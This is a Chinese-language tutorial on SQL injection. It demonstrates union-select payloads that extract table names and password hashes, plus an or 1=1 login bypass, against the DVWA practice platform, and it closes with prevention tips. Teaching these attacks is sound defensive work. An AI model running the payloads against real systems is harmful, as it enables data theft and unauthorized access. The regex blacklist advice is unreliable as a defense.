一、介绍
SQL 注入攻击是网络上非常常见的一种攻击!
黑客通过将恶意的 SQL 查询或者添加语句插入到应用的输入参数中,然后在后台 SQL 服务器上解析执行进行程序攻击!
哪黑客具体是如何将恶意的 SQL 脚本进行植入到系统中,从而达到攻击的目的呢?
现在的 Web 程序基本都是三层架构,也就是我们常说的 MVC 模式:
表示层:用于数据的展示,也就是前端界面 业务逻辑层:用于接受前端页面传入的参数,进行逻辑处理 数据访问层:逻辑层处理完毕之后,会将数据存储到对应的数据库,例如mysql、oracle、sqlserver等等
例如在上图中,用户访问主页进行了如下过程:
1、在 Web 浏览器中输入 www.shiyanlou.com
接到对应的服务器2、 Web
服务器从本地存储中加载index.php
脚本程序并解析3、脚本程序会连接位于数据访问层的 DBMS
(数据库管理系统),并执行Sql
语句4、数据库管理系统返回 Sql
语句执行结果给Web
服务器5、 Web
服务器将页面封装成HTML
格式发送给Web
浏览器6、 Web
浏览器解析HTML
文件,将内容展示给用户
整个过程中间的业务逻辑层只是进行逻辑处理,从用户到获取数据,简单的说,三层架构是一种线性关系。
二、SQL 注入漏洞详解
刚刚我们也讲到,当我们访问网页时,Web 服务器会向数据访问层发起 SQL 查询请求,如果权限验证通过就会执行 SQL 语句。
一般来说,如果是正常使用是不会有什么危险的,但是如果用户输入的数据被构造成恶意 SQL 代码,Web 应用又未对动态构造的 SQL 语句使用的参数进行检查,则会带来意想不到的危险!
废话也不多说来,下面我们就一起来看看,黑客是如何绕过参数检查,从而实现窃取数据的目的!
2.1、SQL 注入示例一:猜解数据库
下面我们使用DVWA 渗透测试
平台,作为攻击测试的目标,让你更加清楚的理解 SQL 注入猜解数据库是如何发生的。
启动服务之后,首先观察浏览器中的URL
,先输入 1 ,查看回显!
从图中可以看出,ID : 1,First Name:admin,Surname:Admin
信息!
那后台执行了什么样的 SQL 语句呢?点击view source
查看源代码 ,其中的 SQL 查询代码为:
SELECT first_name, last_name FROM users WHERE user_id = '1';
OK!
如果我们不按常理出牌,比如在输入框中输入1' order by 1#
。
实际执行的 SQL 语句就会变成这样:
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#
这条语句的意思是查询users
表中user_id
为1
的数据并按字段排行。
其中#
后面的 SQL 语句,都会当作注释进行处理,不会被执行!
输入 1' order by 1#
和 1' order by 2#
时都能返回正常!
当输入1' order by 3#
时,返回错误!
由此得知,users
表中只有两个字段,数据为两列!
接下来,我们玩点的!
我们使用union select
联合查询继续获取信息!
直接在输入框中输入1' union select database(),user()#
进行查询!
实际执行的Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#'
通过返回信息,我们成功获取到:
当前网站使用数据库为 dvwa
当前执行查询用户名为 root@localhost
接下来我们尝试获取dvwa
数据库中的表名!
在输入框中输入1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
进行查询!
实际执行的Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#'
通过上图返回信息,我们再获取到:
dvwa
数据库有两个数据表,分别是guestbook
和users
可能有些同学还不够满足,接下来尝试获取重量级的用户名、密码!
根据经验我们可以大胆猜测users
表的字段为 user
和 password
,所以输入:1' union select user,password from users#
进行查询:
实际执行的Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#'
可以看到成功爆出了用户名、密码,密码通过猜测采用 md5 进行加密,可以直接到www.cmd5.com
网站进行解密。
2.2、SQL 注入示例二:验证绕过
接下来我们再试试另一个利用 SQL 漏洞绕过登录验证的示例!
这是一个普通的登录页面,只要输入正确的用户名和密码就能登录成功。
我们先尝试随意输入用户名 123 和密码 123 登录!
好像不太行,登录被拦截,从错误页面中我们无法获取到任何信息!
点击view source
查看源代码 ,其中的 SQL 查询代码为:
select * from users where username='123' and password='123'
按照上面示例的思路,我们尝试在用户名中输入 123' or 1=1 #
, 密码同样输入 123' or 1=1 #
。
恭喜你,登录成功!
为什么能够登陆成功呢?实际执行的语句是:
select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'
按照 Mysql 语法,#
后面的内容会被忽略,所以以上语句等同于:
select * from users where username='123' or 1=1
由于判断语句 or 1=1
恒成立,所以结果当然返回真,成功登录!
我们再尝试不使用 #
屏蔽单引号,在用户名中输入 123' or '1'='1
, 密码同样输入 123' or '1'='1
。
依然能够成功登录,实际执行的 SQL 语句是:
select * from users where username='123' or '1'='1' and password='123' or '1'='1'
两个 or
语句使 and
前后两个判断永远恒等于真,所以能够成功登录!
2.3、SQL 注入示例三:判断注入点
通常情况下,可能存在 SQL 注入漏洞的 Url 是类似这种形式 :http://xxx.xxx.xxx/abcd.php?id=XX
。
对 SQL 注入的判断,主要有两个方面:
判断该带参数的 Url 是否可以进行 SQL 注入 如果存在 SQL 注入,那么属于哪种 SQL 注入
可能存在 SQL 注入攻击的动态网页中,一个动态网页中可能只有一个参数,有时可能有多个参数。有时是整型参数,有时是字符串型参数,不能一概而论。
总之,只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在 SQL 注入。
例如现在有这么一个 URL 地址:
http://xxx/abc.php?id=1
首先根据经验猜测,它可能执行如下语句进行查询:
select * from <表名> where id = x
因此,在 URL 地址栏中输入http://xxx/abc.php?id= x and '1'='1
页面依旧运行正常,继续进行下一步!
当然不带参数的 URL 也未必是安全的,现在有很多第三方的工具,例如postman
工具,一样可以模拟各种请求!
黑客们在攻击的时候,同样会使用各种假设法来验证自己的判断!
三、如何预防 SQL 注入呢
上文中介绍的 SQL 攻击场景都比较基础,只是简单的向大家介绍一下!
那对于这种黑客攻击,我们有没有什么办法呢?
答案肯定是有的,就是对前端用户输入的所有的参数进行审查,好是全文进行判断或者替换!
例如,当用户输入非法字符的时候,使用正则表达式进行匹配判断!
private String CHECKSQL = "^(.+)\\sand\\s(.+)|(.+)\\sor(.+)\\s$";
Pattern.matches(CHECKSQL,targerStr);
或者,全局替换,都可以!
public static String TransactSQLInjection(String sql) {
return sql.replaceAll(".*([';]+|(--)+).*", " ");
}
还可以采用预编译的语句集!
例如当使用Mybatis
的时候,尽可能的用#{}
语法来传参数,而不是${}
!
举个例子!
如果传入的username 为 a' or '1=1
,那么使用 ${}
处理后直接替换字符串的sql就解析为
select * from t_user where username = 'a' or '1=1'
这样的话所有的用户数据就被查出来了,就属于 SQL 注入!
如果使用#{}
,经过 sql
动态解析和预编译,会把单引号转义为 \'
,SQL 终解析为
select * from t_user where username = "a\' or \'1=1 "
这样会查不出任何数据,有效阻止 SQL 注入!
以上文章来源于Java极客技术 ,作者鸭血粉丝